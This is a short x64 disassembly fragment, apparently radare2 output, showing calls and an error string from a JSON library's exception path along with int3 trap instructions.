call fcn.140008ce0
mov rdx, rax
lea rcx, [rbp + 0x4a0]
call fcn.140001680
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x4c0]
call fcn.140009b80
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0x408]
call fcn.140003d00
lea rdx, [0x14019a218]
lea rcx, [rbp + 0x408]
call fcn.14011e910
int3
call fcn.14012e39c
int3
mov dword [rbp + 0x5f8], r15d
mov ecx, 6
call fcn.14011aac0
int3
mov dword [rbp + 0x5d8], r15d
mov ecx, 6
call fcn.14011aac0
int3
mov ecx, ebx
call fcn.14011aac0
int3